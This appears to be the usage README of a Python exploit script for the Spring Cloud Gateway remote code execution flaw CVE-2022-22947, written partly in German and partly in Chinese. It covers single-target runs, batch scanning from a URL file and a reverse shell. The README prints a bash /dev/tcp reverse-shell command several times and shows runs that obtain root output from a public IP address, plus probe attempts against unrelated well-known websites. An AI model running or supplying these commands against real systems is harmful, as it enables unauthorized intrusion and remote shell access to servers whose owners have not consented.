
Ein Skript, das einzeln oder in Stapeln verifiziert werden kann und auch eine Reverse Shell ermöglicht.
Schweregrad: Hoch
POC/EXP-Status: Öffentlich
CNVD-Nummer: CNNVD-2022-16402
CVE-Nummer: CVE-2022-22947
Spring Cloud Gateway weist eine Schwachstelle zur Remote-Codeausführung auf. Diese Schwachstelle betrifft den Actuator-Endpunkt der Spring Cloud Gateway-Anwendung, der bei aktivierter, öffentlich zugänglicher und ungesicherter Konfiguration anfällig für Code-Injection-Angriffe ist. Ein Angreifer kann diese Schwachstelle ausnutzen, um durch böswilliges Erstellen von Anfragen die Ausführung beliebiger Remote-Befehle auf dem Remote-Host zu ermöglichen.
Unterstützt die Verifizierung einzelner Ziele
Unterstützt die Batch-Verifizierung von Schwachstellen
Unterstützt Reverse-Shell
-h 查看帮助信息
-u 指定url目标
-c 指定需要执行的命令,默认执行id
-f 指定目标url文件
1. Verifizierung eines einzelnen Ziels
Methode 1:
E:\pocs>python cve-2022-22947.py
验证单个目标:
1、python cve-2022-22947.py 进入交互模式后,根据提示输入目标url和需要执行的命令,注意命令的正确性
2、python cve-2022-22947.py -u http://example.com -c whoami
验证多个目标
1、python cve-2022-22947.py -f url.txt ,将需要验证的目标全部放在url目录下
反弹shell
1、python cve-2022-22947.py -u http://example.com -c "bash -i >& /dev/tcp/ip/port 0>&1"
2、进入交互模式,输入目标和反弹shell的命令
请输入一个目标url地址:http://123.58.236.76:8484
请输入想要执行的命令,默认执行id:whoami
[+]目标:http://123.58.236.76:8484 ,成功获取回显命令:['root\\n']
Methode 2:
E:\learn\python\pocs\pocs>python cve-2022-22947.py -u http://123.58.236.76:8484 -c whoami
验证单个目标:
1、python cve-2022-22947.py 进入交互模式后,根据提示输入目标url和需要执行的命令,注意命令的正确性
2、python cve-2022-22947.py -u http://example.com -c whoami
验证多个目标
1、python cve-2022-22947.py -f url.txt ,将需要验证的目标全部放在url目录下
反弹shell
1、python cve-2022-22947.py -u http://example.com -c "bash -i >& /dev/tcp/ip/port 0>&1"
2、进入交互模式,输入目标和反弹shell的命令
[+]目标:http://123.58.236.76:8484 ,成功获取回显命令:['root\\n']
2. Batch-Verifizierung
E:\learn\python\pocs\pocs>python cve-2022-22947.py -f url.txt
验证单个目标:
1、python cve-2022-22947.py 进入交互模式后,根据提示输入目标url和需要执行的命令,注意命令的正确性
2、python cve-2022-22947.py -u http://example.com -c whoami
验证多个目标
1、python cve-2022-22947.py -f url.txt ,将需要验证的目标全部放在url目录下
反弹shell
1、python cve-2022-22947.py -u http://example.com -c "bash -i >& /dev/tcp/ip/port 0>&1"
2、进入交互模式,输入目标和反弹shell的命令
[+]目标:http://123.58.236.76:8484 ,成功获取回显命令:['uid=0(root']
[+]目标:http://123.58.236.76:8484 ,成功获取回显命令:['uid=0(root']
[+]目标:http://123.58.236.76:8484 ,成功获取回显命令:['uid=0(root']
[-]目标:http://www.baidu.com,漏洞验证失败,请手动验证!
[-]目标:http://www.qq.com,漏洞验证失败,请手动验证!
[+]目标:http://123.58.236.76:8484 ,成功获取回显命令:['uid=0(root']
3. Reverse-Shell
python cve-2022-22947.py -u http://123.58.236.76:8484 -c "bash -i >& /dev/tcp/xxx.xxx.xxx/65534 0>&1"
image-20220519233354807
image-20220519233429912